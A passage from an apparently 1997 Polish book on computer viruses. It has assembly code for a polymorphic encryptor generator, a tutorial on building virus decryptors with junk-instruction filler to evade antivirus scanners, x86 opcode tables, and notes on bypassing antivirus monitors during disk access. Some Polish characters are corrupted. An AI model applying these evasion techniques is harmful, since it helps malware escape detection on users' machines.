xchg ax,dx ; AX:=0..przedzial
inc ax ; pomin zero
pop dx ; przywroc DX ze stosu
ret
ZmienPseudoZarodek: ; zmienia PseudoZarodek
push ax ; zachowaj stary AX
in al,40h ; AL:=przypadkowa wartosc
xchg ah,al ; AH:=AL
in al,40h ; AX:=przypadkowa wartosc
xor ax,0ABCDh ; operacje pomocnicze
add ax,1234h ; operacje pomocnicze
mov PseudoZarodek,ax ; przepisz nowy zarodek
pop ax ; przywroc stary AX
ret ; powrot z procedury
;----------------------------------------------------------------------------;
; Programik do zaszyfrowania wyswietlajacy komunikat ;
; przy uzyciu 09/21 ;
;----------------------------------------------------------------------------;
RozmiarPrzykladowegoKodu = offset KoniecKoduPrzykladowego- offset StartKoduPrzykladowego
StartKoduPrzykladowego:
call TrikCALL_POP ; trik do uzyskania relatywnego ofsetu
TrikCALL_POP:
pop si ; wez relatywny ofset, gdzie kod jest w pamieci
mov dx,offset TePrzyklad-Offset StartKoduPrzykladowego-3
add dx,si ; DX:=ofset do tekstu (relatywny)
mov ah,9 ; funkcja DOS - wyswietl tekst$
int 21h ; wywolaj funkcje
int 20h ; powrot do DOS (program typu COM)
TePrzyklad db CR,LF ; tekst do wyswietlenia
db '[Program wygenerowany przez SEMIPOL v1.0, Autor: Adam Blaszczyk]'
db DOLAR
KoniecKoduPrzykladowego:
;-----------------------------------------------------------------------------
TeCopyRight db CR,LF,'SEMIPOL v1.0, Autor : Adam Blaszczyk 1997',
db CR,LF,NUL
TeGenerator db CR,LF,'Czekaj, generuje plik(i) ...',CR,LF,NUL
AktualnaNazwaPliku db 'SEMI'
AktNumPliku db '0001'
db '.COM',NUL
TeCRLF db CR,LF,NUL
PSP_Segment dw ?
UchwytPliku dw ?
LiczbaPlikow dw ?
BuforDocelowy db 4096 dup(?)
StosStart db RozmiarStosu dup(?)
StosKoniec:
SEMI_POL ENDS
END Start
8.2.1.2. Pełny polimorfizm
Prawdziwie polimorficzne generatory zmiennych procedur szyfrujących powinny tworzyć przy każdym uruchomieniu całkowicie nową, unikalną procedurę dekodującą. Procedura taka najczęściej zachowuje tylko funkcje poniższej sekwenq'i:
LICZNIK:=IleDanych
INDEX:=Pocz╣tekZaszyfrowanegoKodu
FOR I:=1 to Licznik do begin
DEKODUJ_1 DANÑ [INDEX]
DEKODUJ_2 DANA [INDEX]
DEKODUJ_N DANA [INDEX]
INDEX:=INDEX + PRZYROST ;
end;
Dla każdej procedury dekodującej generator losuje najczęściej odpowiednio:
> indeks;
> licznik;
> kierunek zwiększania licznika;
> kierunek dekodowania;
> rodzaj używanych instrukcji (8086, 80286 itd.).
Licznik oznacza najczęściej rejestry procesora wybierane z listy (E)AX, (E)BX, (E)CX, (E)DX, (E)BP, (E)SI, (E)DI. Rejestr (E)SP jest z wiadomych względów pomijany. Oczywiście, możliwe jest także użycie rejestrów 8-bitowych (najprościej jako licznika). Litera (E) oznacza, iż możliwe jest wybranie także rejestrów 32 bitowych, jednak należy pamiętać, że użycie ich znacząco komplikuje samą procedurę generującą.
Z kolei indeks wybierany jest z listy możliwych sposobów adresowania dla procesorów 80x86. Może to być więc [BX+????], [BP+????], [SI+????], [DI+????], [BP+SI+????], [BP+DI+????], [BX+SI+????] lub [BX+DI+????]. Są to wszystkie możliwości, jakie może zawierać pole MmRejMem w instrukcjach operujących na danych w pamięci.
Liczbę różnych indeksów można poszerzyć poprzez użycie sposobów adresowania, które pojawiły się w procesorach 386 i wyższych. Umożliwiają one (poprzez zastosowanie słowa rozkazowego SIB) zastosowanie do adresowania wszystkich użytkowych rejestrów procesora.
Kierunek zwiększania licznika określa, czy licznik rośnie aż do wartości maksymalnej, czy też maleje od tej wartości do zera.
Kierunek dekodowania określa, od której strony zacznie się dekodo-wanie wirusa po uruchomieniu procedury; czy od początku zaszyfro-wanego kodu, czy też od jego końca. Konsekwencją obranych kierunków będą odpowiednie rozkazy zwiększające lub zmniejszające indeks i licznik. Od kierunków również zależeć będzie instrukcja sprawdzająca warunek zakończenia pętli dekodującej. Stopień skomplikowania samego dekodera wzrośnie, jeżeli pozwolimy na dynamiczne zmiany licznika i indeksu podczas działania programu. Na przykład, jeżeli początkowy licznik ustalimy jako CX, to po kilku wygenerowanych instrukcjach należy za pomocą instrukcji MOV REjl6, CX lub XCHG REJ16, CX wymusić zmianę licznika na inny.Jeśli chcemy skomplikować całą procedurę i uczynić ją polimorficzną, należy między instrukcje stanowiące integralną część dekodera wstawić rozkazy niepotrzebne z punktu widzenia działania programu, lecz niezbędne do zaciemnienia i ukrycia głównej procedury dekodu-jącej (rozkazy te muszą być wybierane losowo).
O ile w procedurze semi-polimorficznej do zaciemnienia kodu dekodera służył tylko jeden rozkaz, JMP SHORT, o tyle w przypadku pełnej procedury polimorficznej należy uwzględnić jak największą ilość rozkazów procesora.
Instrukcje stanowiące taki wypełniacz muszą spełniać kilka warunków. Najważniejsze Jest to, aby rozkazy te:
> nie zamazywały dowolnie nie używanej przez siebie pamięci;
> nie zawieszały komputera;
> nie powodowały generowania wyjątków;
> nie niszczyły zawartości ważnych dla działania programu rejestrów (m.in. CS, SS, SP oraz rejestrów stanowiących indeks i licznik).
Część powyższych ograniczeń można ominąć, o ile wykonana operacja zostanie odwrócona, a więc możliwe jest np. zamazanie pamięci, ale tylko pod warunkiem, iż w zniszczone miejsce wpiszemy chwilę później oryginalną, zapamiętaną wcześniej zawartość. Podobnie ma się sprawa ze zmienianiem rejestrów. Jeżeli chcemy np. zmienić rejestr będący licznikiem, możemy jego wartość na chwilę zapisać do innego rejestru lub na stosie, a następnie zmienić go tak, aby po wykonaniu kilku kolejnych instrukcji przywrócić jego oryginalną zawartość.
Najprostszy sposób to wstawienie jako wypełniacza instrukcji 1-bajtowych, jednak jest ich tak niewiele w liście rozkazów, iż procedura zawierająca tylko takie instrukcje będzie łatwa do wykrycia. Ponadto zbyt duża ich ilość w programie też nie jest pożądana, gdyż z reguły programy używają instrukcji kilkubajtowych, w związku z czym nadmiar instrukcji 1-bajtowych może wydać się podejrzany (zwłaszcza programowi antywirusowemu).
Pamiętać trzeba, iż najlepiej byłoby, gdyby wygenerowana procedura przypominała fragment typowych programów komputerowych, stąd też wskazane jest używanie w generatorze wywoływań przerwań BIOS i funkcji systemu DOS (np. sprawdzanie wersji systemu DOS, sprawdzanie, czy jest jakiś klawisz w buforze klawiatury itp.), które spowodują, iż ewentualnemu programowi antywirusowemu program wyda się typową aplikacją.
Innymi, prostymi do wykorzystania instrukcjami są rozkazy operujące na akumulatorze (AX) i na jego młodszej części (AL), gdyż posiadają uproszczone w stosunku do innych rejestrów kody. Również operacje przypisywania rejestrom roboczym jakiejś wartości są bardzo proste do wstawienia (grupa rozkazów MOV REJ/???? o kodach B0/??-B7/?? dla rejestrów AL - BH lub B8/????-BF/???? dla rejestrów AX - DI).
Trochę trudniejsza jest symulacja operacji stosowych, rozkazów skoków i wywołań procedur, jednak, jak pokazują istniejące generatory, można je z powodzeniem stosować. Aby procedura dekodująca była jak najbardziej podobna do fragmentu typowego programu, warto stosować instrukcje modyfikujące jakieś komórki w pamięci. Używając ich należy pamiętać, iż zmodyfikowaną wartość należy później bezwzględnie przywrócić (chyba, że mamy pewność, iż jest to dana nieistotna np. w kodzie wirusa).
Korzystając z operacji działających w pamięci na argumentach typu word i dword nie wolno zapominać o tym, iż np. przy adresowaniu bazowym lub indeksowym wartości rejestrów (SI, DI, BX, BP) będą najczęściej nie ustalone, stąd może wystąpić sytuacja, w której instrukcja będzie pobierała lub modyfikowała daną z pogranicza dwóch segmentów. Innymi słowy, offset obliczany na podstawie indeksu będzie miał np. wartość 0FFFFh, co przy próbie dostępu do danej word lub dword z miejsca pamięci określonego przez ten offset spowoduje wystąpienie wyjątku (numer 13 - ogólne naruszenie mechanizmów ochrony).
Aby uwzględnić w generatorze jak najpełniejszą listę rozkazów, należy zaopatrzyć się w spis instrukcji procesorów 80x86 i ich kodów maszynowych, a następnie przeanalizować każdą z instrukcji pod kątem jej przydatności jako części wypełniacza oraz warunków, w których zadziała ona poprawnie. Dobrym przykładem może być analiza instrukcji LODSB, którą chcielibyśmy zastosować zamiast instrukcji INC SI. Oprócz tego, iż modyfikuje ona rejestr AX (dokładniej AL), pamiętać trzeba, iż jej poprawne działanie zależne jest także od stanu bitu kierunku DF, zawartego w rejestrze znaczników. Używając jej musimy mieć więc pewność, iż wcześniej wystąpiła już instrukcja CLD, która właściwie ustawiła bit DF.
Powyższy przykład został dobrany celowo, gdyż pokazuje on, że aby uzyskać dany efekt, nie trzeba wcale używać szablonowych instrukcji, lecz poprzez użycie odpowiednich zamienników (działających
tak samo) można uzyskać jeszcze większą zmienność procedury de-kodującej. Innymi przykładami mogą tu być także poniższe operacje zerujące rejestr CX:
MOV CX,0 ; najbardziej trywialne zerowanie rejestru CX
XOR CX,CX ; operacja XOR na tych samych operandach zeruje je
SUB CX,CX ; odejmij CX od CX, w efekcie CX=0
AND CX,0 ; iloczyn logiczny z zerem jest zerem
ZerujCX: ; po wykonaniu pÛtli LOOP ZerujCX
; rejestr CX bÛdzie r¾wny O
MOV CX,XYZ ; wpisz do rejstru CX warto£µ
SUB CX,XYZ ; i potem j╣ od niego odejmij
MOV REJ16,0 ; zeruj jaki£ rejestr 16-bitowy
MOV CX,REJl6 ; i za jego pomoc╣ zeruj rejestr CX
XOR CL,CL ; kombinacje powy┐szych operacji dla rejestr¾w 8-bitowych SUB CH,CH ; CL i CH │╣cznie tak┐e wyzeruja rejestr CX
Oczywiście, powyższe sekwencje nie wyczerpują wszystkich możliwości.
Powyższą operację należy stosować przy doborze nie tylko instrukcji modyfikujących indeks i licznik, ale i przy rozkazach będących integralną częścią dekodera. Można np. zamiast jednej instrukq'i ADD [INDEX],???? użyć:
CLC ADC [INDEX], ????
SUB [INDEX],-????
MOV REJ,????
ADD [INDEX],REJ
Możliwości jest tu, podobnie jak poprzednio, bardzo dużo. Po wygenerowaniu procedura dekodująca powinna mieć postać podobną do poniższej sekwencji:
....... ; wype│niacz
inicjuj rejestr - licznik lub indeks
....... ; wype│niacz
inicjuj rejestr - indeks lub licznik
....... ; wype│niacz
pierwsza instrukcja dekodera
....... ; wype│niacz
druga instrukcja dekodera
....... ; wype│niacz
n-ta instrukcja dekodera
....... ; wype│niacz
sprawdzenie warunku zako±czenia pÛtli
....... ; wype│niacz
skok, je┐eli warunek spe│niony
....... ; wype│niacz
w│a£ciwy, zaszyfrowany
kod wirusa, do kt¾rego
zostanie przekazane
sterowanie po rozkodowaniu
....... ; wype│niacz
Przeprowadzając kilkakrotnie powyższe operacje można uzyskać kilkustopniową procedurę dekodera, która będzie bardzo trudna do wykrycia przez programy antywirusowe.
Aby przyspieszyć wykonywanie procedury dekodującej, często szyfruje się cały kod wirusa jakąś stałą procedurą, a dopiero ta jest roz-kodowywana za pomocą zmiennej procedury deszyfrującej, której wystarcza na rozkodowanie kilkakrotne wykonanie pętli dekodera. Innym sposobem może być tu całkowite pominięcie pętli i stworzenie kodu, który wygeneruje właściwą, stałą procedurę dekodująca w locie, budując odpowiednie jej instrukcje z odpowiednich fragmentów rozrzuconych po kodzie.
Poniżej zebrano informacje o wszystkich znanych instrukcjach procesorów 80x86 (kierując się ich przydatnością do wykorzystania w generatorze).
Lista nie zawiera rozkazów koprocesora, rozkazów systemowych oraz instrukcji wykorzystywanych przez języki wysokiego poziomu
(nie są one wykorzystywane przez generatory polimorficzne). Oprócz kodów instrukcji podano opis sposobu zapisywania adresów za pomocą bajtu MmRejMem (286+) i SIB (386+).
Informacje podane poniżej dotyczą działania instrukcji w trybie rzeczywistym procesora, a więc adresowania segmentów o rozmiarze maksymalnym 64k. W przypadku trybu chronionego i segmentów większych niż 64k (najczęściej 4G, czyli model FLAT) należy wziąć pod uwagę, iż działanie przedrostków 66 i 67 ma w nich odmienne znaczenie. Na przykład, jeżeli chcemy wygenerować rozkaz zerowania rejestru AX (MOV AX/0), należy dla segmentu zadeklarowanego z dyrektywą USE16 umieścić w buforze ciąg B8, 00, 00, zaś dla segmentu zadeklarowanego z dyrektywą USE32 użyć sekwencji 66, B8, OO, 00. Chcąc natomiast zerować rejestr EAX (MOV EAX/0), należy dla segmentu USE16 użyć sekwencji 66, B8, 00, 00, 00, 00, a dla segmentu USE32 - B8, 00, 00, 00, 00. Jak widać, przedrostki 66 i 67 służą do wymuszania trybu interpretowania instrukcji, odmiennego od tego którego używa procesor w danym trybie. W trybie rzeczywistym wymusza on instrukcje 32-bitowe, w chronionym zaś 16-bitowe.
Ze względu na to, iż instrukcje często zawierają argumenty w postaci kilku bitów umieszczonych w różnych miejscach, wszystkie kody instrukcji zawarte poniżej występują jako liczby binarne.
Działanie procedury generującej wypełniacz może wyglądać mniej więcej tak:
N:=LiczbaPseudolosowa
For I:=1 to N do GenerujInstrukcjÛ
Liczba N określa, ile instrukcji zostanie wygenerowanych podczas jednego wywołania procedury.
Procedura GenerujInstrukcję powinna wybrać (np. z tablicy) pierwszy bajt instrukcji i zapisać ją do bufora, a następnie, o ile to konieczne, dodać wymagane operandy. Podczas wybierania argumentów instrukcji należy sprawdzać czy wylosowany, przypadkowy argument nie koliduje w jakiś sposób z używanymi przez dekoder rejestrami. Jeżeli tak jest, procedurę wybierania argumentu należy kontynuować, aż do znalezienia odpowiedniego argumentu. Procedura GenerujInstrukcję powinna wyglądać mniej więcej tak (zapisana w pseudojęzyku, trochę podobnym do Pascala):
procedurÛ GenerujInstrukcjÛ;
X:=LiczbaPseudolosowa wybieraj╣ca generowana instrukcjÛ sprawdƒ atrybuty instrukcji wskazywanej przez X
if s╣ jakie£ operandy then
dla ka┐dego operandu begin
repeat
arg:=Pseudolosowa
if arg nie koliduje z zasobami dekodera to argument znaleziony
untii argument znaleziony lub furtka bezpiecze±stwa
wstaw operand=arg end else wstaw instrukcjÛ bez operand¾w;
end;
Załóżmy, iż dla dekodera zostały wybrane:
[Mem, czÛ£µ bajtu MrnRejMem, w tym przypadku [BX+SI] }
Indeks:= 000 ;{Rejestr: z przedzia│u 000.. 111}
Licznik:= 001 ;{trzeba zdekodowaµ u┐ywane
; przez indeks dwa rejestry, w tym
; przypadku oczywi£cie rÛcznie }
IndeksModyf1:= 110 ; [numer rejstru SI}
IndeksModyf2:= 011 ; (numer rejestru BX}
Niech procedura GenerujInstrukcje wybierze teraz do wstawienia np. rozkaz DEC, który w tabeli jest zapisany jako:
01001Rej DEC rejestr Rej.
Jak widać, instrukcja ta posiada parametr Rej, w tym przypadku rejestr 16 - lub 32 - bitowy. Załóżmy, iż rejestr jest 16-bitowy. Zapisana w asemblerze sekwencja szukająca operandu dla instrukcji powinna wyglądać mniej więcej tak:
SzukajArgumentu:
MOV AX,7
Call RandomAX ; weƒ liczbÛ z przedzia│u 000...111
; liczba w AL (bo AH-0)
cmp AL,IndeksModyfl ; czy rejestr zajÛty przez
; pierwsza czÛ£µ indeksu ?
je SzukajArgumentu
cmp AL, IndeksModyf2 ; czy rejestr zajÛty przez
; druga czÛ£µ indeksu ?
je SzukajArgumentu
cmp AL, Licznik ; czy rejestr zajÛty przez licznik ?
je SzukajArgumentu
cmp AL,100b ; czy rejestr to SP ?
je SzukajArgumentu
; argument znaleziony i jest w AL
; AL=00000arg - argument na trzech
; m│odszych bitach
or al, 01001000b ; zsumuj logicznie z 5 bitami kodu
; operacj i DEC
stosb ; zapisz ca│a instrukcjÛ DEC arg do bufora
Postępując w podobny sposób można rozszerzyć generator o wszystkie możliwe do wykorzystania, opisane dalej instrukcje.
W opisie instrukcji przyjęto następujące oznaczenia:
Rej - określa rejestr biorący udział w operacji; rodzaj rejestru (8-, 16-, czy 32-bitowy) jest określany na podstawie bitu D (jeżeli ten istnieje w instrukcji) oraz w zależności od tego, czy przed instrukcją wystą-pił przedrostek 66. Jeżeli D=0, to rejestr jest 8-bitowy; jeżeli przedrostek nie wystąpił i D=0, to 16-bitowy, w innym wypadku jest on 32-bitowy. Wartości przypisane poszczególnym rejestrom są następujące:
Rej |
000 |
001 |
010 |
011 |
100 |
101 |
110 |
111 |
8-bitowe |
AL. |
CL |
DL |
BL |
AH |
CH |
DH |
BH |
16-bitowe |
AX |
CX |
DX |
BX |
SP |
BP |
SI |
DI |
32-bitowe |
EAX |
ECX |
EDX |
EBX |
ESP |
EBP |
ESI |
EDI |
Mem - określa adres w pamięci, na którym wykonywana jest operacja; sposób adresowania zależy od obecności przedrostka 67 oraz od pola struktury MmRejMem, będącej drugim bajtem instrukcji. W zależności od zawartości pola Mm zmienia się wielkość offsetu dodawanego do odpowiednich rejestrów (08 - ofset 8 bitowy, 016 - 16 bitowy, 032 - 32 bitowy).
Jeżeli nie wystąpił przedrostek 67, to używany jest następujący sposób adresowania (16 - bitowy, Seg oznacza domyślny segment adresujący dane, jeżeli przed instrukcja nie wystąpił przedrostek innego segmentu):
Mem |
Seg/Mm |
00 |
01 |
10 |
11 - operacja na rejestrze o numerze Mam, a nie na pamieci |
000 |
DS |
[BX+SI] |
[BX+SI+O8] |
[BX+SI+O16] |
|
001 |
DS |
[BX+DI] |
[BX+DI+O8] |
[BX+DI+O16] |
|
010 |
SS |
[BP+SI] |
[BP+SI+O8] |
[BP+SI+O16] |
|
011 |
SS |
[BP+DI] |
[BP+DI+O8] |
[BP+DI+O16] |
|
100 |
DS |
[SI] |
[SI+O8] |
[SI+O16] |
|
101 |
DS |
[DI] |
[DI+O8] |
[DI+O16] |
|
110 |
DS/SS |
DS:[O16] |
SS:[BP+O8] |
SS:[BP+O16] |
|
111 |
DS |
[BX] |
[BX+O8] |
[BX+O16] |
|
Jeżeli wystąpił przedrostek 67, to używany jest następujący sposób adresowania (32-bitowy):
Mem |
Seg/Mm |
00 |
01 |
10 |
11-operacja na rejestrze o numerze Mem, a nie na pamięci |
000 |
DS |
[EAX] |
[EAX+O8} |
[EAX+O32] |
|
001 |
DS |
[ECX] |
[ECX+O8] |
[ECX+O32] |
|
010 |
DS |
[EDX] |
[EDX+O8] |
[EDX+O32] |
|
011 |
DS |
[EBX] |
[EBX+O8] |
[EBX+O32] |
|
100 |
|
[SIB] |
[SIB+O8] |
[SIB+O32] |
|
101 |
DS/SS |
DS:[O32] |
SS:[EBP+O8] |
SS:[EBP+O32] |
|
110 |
DS |
[ESI] |
[ESI+O8] |
[ESI+O32] |
|
111 |
DS |
[EDI] |
[EDI+O8] |
[EDI+O32] |
|
Użyty w tabeli skrót SIB (ang. Scale Index Base) oznacza rozszerzony sposób adresowania, w którym ułatwiony jest m.in. dostęp do tablic. Bajt opisujący pola SIB występuje zaraz po bajcie MmRejMem. Sposób obliczania przez procesor adresu zawartego w SIB jest następujący:
Adres SIB:=Baza+Indeks*(2^N), gdzie
> baza opisywana jest przez bity 7-5 bajtu SIB;
> indeks opisywany jest przez bity 4-2 bajtu SIB;
> liczba N opisywana przez bity 1-0 bajtu SIB (tak więc jedyna możliwość to mnożenie indeksu przez 2^00=1, 2^01=2, 2^10=4 2^11=8).
Poniższa tabela zawiera wartości, które może przyjmować Baza.
Baza |
Seg/Mm |
00 |
01,10,11 |
000 |
DS |
EAX |
EAX |
001 |
DS |
ECX |
ECX |
010 |
DS |
EBX |
EBX |
011 |
DS |
EDX |
EDX |
100 |
SS |
ESP |
ESP |
101 |
DS/SS |
DS:O32 |
SS:EBP |
110 |
DS |
ESI |
ESI |
111 |
DS |
EDI |
EDI |
Poniższa tabela zawiera wartości, które może przyjmować Indeks.
Index |
Rejestr |
000 |
EAX |
001 |
ECX |
010 |
EBX |
011 |
EDX |
100 |
- |
101 |
EBP |
110 |
ESI |
111 |
EDI |
Sg - opisuje rodzaj segmentu użytego w operacji.
Możliwe wartości Sg to: 00=ES, 01=CS, 10=SS, 11=DS
Seg - rozszerzone Sg (uwzględnia FS i GS).
Możliwe wartości Seg to: 000=ES, 001=CS, 010=SS, 011-DS, 100=FS, 101-GS
Wwww - określa różne warunki występujące w skokach lub rozkazach SRTxxxx i może przyjmować wartości przedstawione w poniższej tabeli:
Wartość Warunek |
0000 O - overflow |
0001 NO - not overflow |
0010 C-carry |
0011 NC-notcarry |
0100 Z-zero |
0101 NZ-not zero |
0110 NA-notabove |
0111 A-above |
1000 S-sign |
1001 NS-notsign |
1010 P-parity |
1011 NP-notparity |
1100 L-less |
1101 NL-not less |
1110 NG-notgreat |
1111 G-great |
Ope - używane przez niektóre instrukcje do określania operacji matematycznej lub logicznej, którą ma instrukcja wykonać.
Ope |
000 |
001 |
010 |
011 |
100 |
101 |
110 |
111 |
Opis |
ADD |
OR |
ADC |
SBB |
AND |
SUB |
XOR |
CMP |
Op2 - tworzy podgrupę operacji wykonywanych przez instrukcje o bajcie początkowym =82/83 (jest to zrnniejszona lista Ope).
Ope2 |
000 |
001 |
010 |
011 |
100 |
101 |
110 |
111 |
Opis |
ADD |
ADC |
SBB |
|
|
SUB |
|
CMP |
Op3 - opisuje grupę instrukcji o pierwszym kodzic=F6/F7.
Ope |
000 |
001 |
010 |
011 |
100 |
101 |
110 |
111 |
Opis |
TEST |
|
NOT |
NEG |
MUL |
IMUL |
DIV |
IDIV |
Op4 - opisuje instrukcje z pierwszym bajtem =FE,
Ope |
000 |
001 |
010 |
011 |
100 |
101 |
110 |
111 |
Opis |
INC |
|
DEC |
|
|
|
|
|
Op5 - opisuje instrukcje z pierwszym bajtem =FF.
Ope |
000 |
001 |
010 |
011 |
100 |
101 |
110 |
111 |
Opis |
INC |
DEC |
CALL NEAR |
CALL FAR |
JMP NEAR |
JMP FAR |
PUSH |
|
Ops - opisuje różne rodzaje przesunięć.
Ope |
000 |
001 |
010 |
011 |
100 |
101 |
110 |
111 |
Opis |
ROL |
ROR |
RCL |
RCR |
SHL |
SHR |
SAL |
SAR |
Akumulator - oznacza rejestr AL, AX lub EAX; rodzaj rejestru wybierany jest na podstawie bitu D (jeżeli ten jest w instrukcji) oraz obecności przedrostka 66.
Wartkom8 - oznacza bajt określający liczbę będącą operandem instrukcji.
WartkomD - oznacza bajt, słowo lub dwusłowo (zależnie od bitu D i przedrostka 66) określające liczbę będącą operandem instrukcji.
Reladre8 - określa relatywny offset (z zakresu -128..+127), który dodawany jest do wskaźnika instrukcji IP po wykonaniu np. skoku lub procedury.
ReladreD - określa relatywny offset, który dodawany jest do wskaźnika instrukcji IP po wykonaniu np: skoku, procedury (rodzaj ofsetu: 16- czy 32- bitowy określany jest na podstawie obecności przedrostka 66).
Numport8 - określa numer portu (8 bitów), na którym wykonuje się operację IN lub OUT.
Addroffs i Addrsegm - określają segment i offset, pod który skacze procesor po wykonaniu dalekiej procedury lub dalekiego skoku.
bit D - określa rodzaj operandu: bajt, słowo lub dwusłowo;
- jeżeli nie wystąpił przedrostek 66 i D=0: bajt,
- jeżeli nie wystąpił przedrostek 66 i D=1: słowo,
- jeżeli wystąpił przedrostek 66 i D=1: podwójne słowo.
bit S - określa kierunek przesyłania danych podczas wykonywania instrukcji zawierających bajt MmRejMem; S=0 Operacja Mem, Rej i S=1 Operacja Rej, Mem.
bit F - ustawiony, oznacza, iż jest to RETF, w przeciwnym razie RETN.
Jeżeli mnemonik instrukcji zmienia się przy użyciu przedrostka 66 lub bitu D, kolejne nazwy są oddzielone przecinkiem.
Kody Instrukcji
Kod instrukcji (binarnie) Mnemonik
00001111 1000Wwww Reladr16 JWwww Reladr16
00001111 1001Wwww MmRejMem SETWwww byte ptr [Mem]
00001111 10100000 PUSH FS
00001111 10100001 POP FS
00001111 10100010 CPUID
00001111 10100011 MmRejMem BTMem,Rej
00001111 10100100 MmRejMem Wartkom8 SHLD Mem,Wartkom8
00001111 10100101 MmRejMem SHLD Mem,Rej,CL
00001111 1010011D MmRejMem CMPXCHG Mem,Rej
00001111 10101000 PUSH GS
00001111 10101001 POP GS
00001111 10101011 MmRejMem BTS Mem,Rej
00001111 10101100 MmRejMem Wartkom8 SHRD Mem,Wartkom8
00001111 10101101 MmRejMem SHRD Mem,Rej,CL
00001111 10101111 MmRejMem IMUL Rej,Mem
00001111 10110010 MmRejMem LSS Rej,Mem
00001111 10110011 MmRejMem BTS Mem,Rej
00001111 10110100 MmRejMem LFS Rej,Mem
00001111 10110101 MmRejMem LGS Rej,Mem
00001111 10110110 MmRejMem MOVZX Rej,Mem
00001111 10110111 MmR32Mem MOVZX R32,Mem
00001111 10111011 MmRejMem BTC Mem,Rej
00001111 10111100 MmRejMem BSF Mem,Rej
00001111 10111101 MmRejMem BSR Mem,Rej
00001111 10111110 MmRejMem MOVSX Rej,Mem
00001111 10111111 MmR32Mem MOVSX R32,Mem
00001111 1100000D MmRejMem XADD Mem,Rej
00001111 11000111 Mm001Mem CMPXCHG8B mem
00001111 11001r32 BSWAP r32
00001111 11011010 Mm100Mem Wartkom8 BT Mem,Wartkom8
00001111 11011010 Mm101Mem Wartkom8 BTS Mem,Wartkom8
00001111 11011010 Mm110Mem Wartkom8 BTR Mem,Wartkom8
00001111 11011010 Mm111Mem Wartkom8 BTC Mem,Wartkom8
000Sg110 PUSH rejestr segmentowy Sg
000Sg111 POP rejestr segmentowy Sg, Sg<>01,
bo 00001111= rozszerzene instrukcje (w 8086
by│a to instrukcja POP CS)
00100111 DAA
00101111 DAS
00110111 AAA
00111111 AAS
001Sg110 przedrostek segmentu Sg
000pe0SD MmRejMem S=0,Ope Mem,Rej, S=1 Ope Reg,Mem
000pe10D WartkomD Ope Akumulator,WartkomD
01000Rej INC rejestr Rej
01001Rej DEC rejestr Rej
01010Rej PUSH rejestr Rej
01011Rej POP rejestr Rej
01100000 PUSHA
01100001 POPA
01100100 FS:
01100101 GS:
01100110 przedrostek instrukcji 386+ (dane 32-bitowe)
01100111 przedrostek instrukcji 386+ (operandy 32-
bitowe)
01101000 WartkomD PUSH WartkomD
0110100D MmRejMem WartkomD IMUL Rej,WartkomD,Mem
01101010 Wartkom8 PUSH Wartkom8
0110110D INSB, INSW, INSWD
0110111D OUTSB, OUTSW, OUTSD
0111wwww Reladre8 JWwww Reiadre8
1000000D MmOpeMem WartkomD Ope Mem,WartkomD
1000001D MmOp2Mem Wartkom8 Op2 Mem, Integer (Wartkom8)
1000010D MmRejMem TEST Mem,Rej
1000011D MmRejMem XCHG Mem,rej
100010SD MmRejMem S=0, MOV Mem,Rej, S=1 MOV Reg,Mem
10001101 MmRejMem LEA Rej,Mem
10001111 Mm000Mem POP Mem
100011S0 MmSegMem S=0 MOV Mem,Seg, S=1 MOV Seg, Mem
10010Rej XCHG rejestr Rej
10011000 CBW/CWDE
10011001 CWD/CDQ
10011010 Addroffs Addrsegm CALL FAR Addrsegm:Addroffs
10011011 wait
10011100 PUSHF/PUSHFD
10011101 POPF/POPFD
10011110 SAHF
10011111 LAHF
101000SD WartkomD S=0 MOV Akumutator,[WartkomD] ; S=1 MOV [WartkomD],Akumulator
1010010D MOVSB,MOVSW, MOVSD
1010011D CMPSB, CMPSW, CMPSD
1010100D WartkomD TEST Akumulator,WartkomD
1010101D STOSB, STOSW, STOSD
1010110D LODSB, LODSW, LODSD
1010111D SCASB, SCASW, SCASD
1011DRej WarkomD MOV Rej,WartkomD
1100000D MmOpsMem Wartkom8 Ops Mem,Wartkom8
11000100 MmRejMem LES Rej,Mem
11000101 MmRejMem LDS Rej,Mem
1100011D Mm000Mem WarkomD MOV Mem,WartkomD
11001100 INT3
11001101 Wartkom8 INT Wartkom8
11001110 INTO
11001111 IRET
1100F010 WartkomF RET WartkomF
1100F011 RET N/F
1101000D MmOpsMem Ops Mem,1
1101001D MmOpsMem Ops Mem,CL
11010110 SETALC
11010111 XLAT
11100000 Reladre8 LOOPNZ Reladre8
11100001 Reladre8 LOOPZ Reiadre8
11100010 Reladre8 LOOP Reladre8
11100011 Reladre8 JCXZ/JECXZ Reladre8
11100100 Wartkom8 AAM Wartkom8, zwykle Wartkom8=10
11100101 Wartkom8 AAD Wartkom8, zwykle Wartkom8=10
1110010D Numport8 IN Akumulator,Numport8
1110011D Numport8 OUT Numport8,Akumulator
11101000 Reladr16 CALLNEAR Reladr16
11101001 Reladr16 JMP NEAR Reladr16
11101010 Addroffs Addrsegm JMP FAR Addrsegm:Addroffs
11101011 Reladre8 JMP SHORT Reladre8
1110110D IN Akumulator, DX
1110111D OUT DX,Akumulator
11110000 LOCK
11110010 REPNZ
11110011 REP, REPZ
11110101 CMC
1111011D Mm000Mem WartkomD TEST Mem,Wartkom8
1111011D MmOp3Mem Op3 Mem
11111000 CLC
11111001 STC
11111010 CLI
11111011 STI
11111100 CLD
11111101 STD
11111110 MmOp4Mem Op4 Mem
11111111 MmOp5Mem Op5 Mem
ROZDZIAŁ 9
9.1. Sposoby dostępu do dysków
Najczęściej stosowany (bo najprostszy) mechanizm dostępu do plików lub sektorów polega na używaniu funkcji i przerwań programowych DOS (INT 21h, INT 25h, INT 26h). Najczęściej korzystają z niego wirusy plikowe i czasem wirusy BOOT-sektorów. Ze względu na możliwość istnienia zainstalowanego w systemie monitora antywirusowego sposób ten można bezpiecznie wykorzystać tylko po wyłączeniu aktywnego monitora lub też po znalezieniu oryginalnych procedur wejścia do odpowiednich przerwań.
Na dużo niższym poziomie operują wirusy infekujące Główny Rekord Ładujący (MBR), BOOT-sektory i JAP. Korzystają one z przerwania programowego INT 13h, operującego bezpośrednio na fizycznych sektorach dysków (w przypadku dyskietek można użyć przerwania 40h). Tak jak w przypadku przerwań i funkcji DOS, funkcje BIOS mogą być dość łatwo monitorowane przez program antywirusowy, a w nowoczesnych BIOS-ach - nawet przez program obsługi przerwania. W takim wypadku pozostaje jedyna bezpieczna metoda ingerencji w zawartość sektorów, polegająca na użyciu bezpośrednich odwołań do portów.
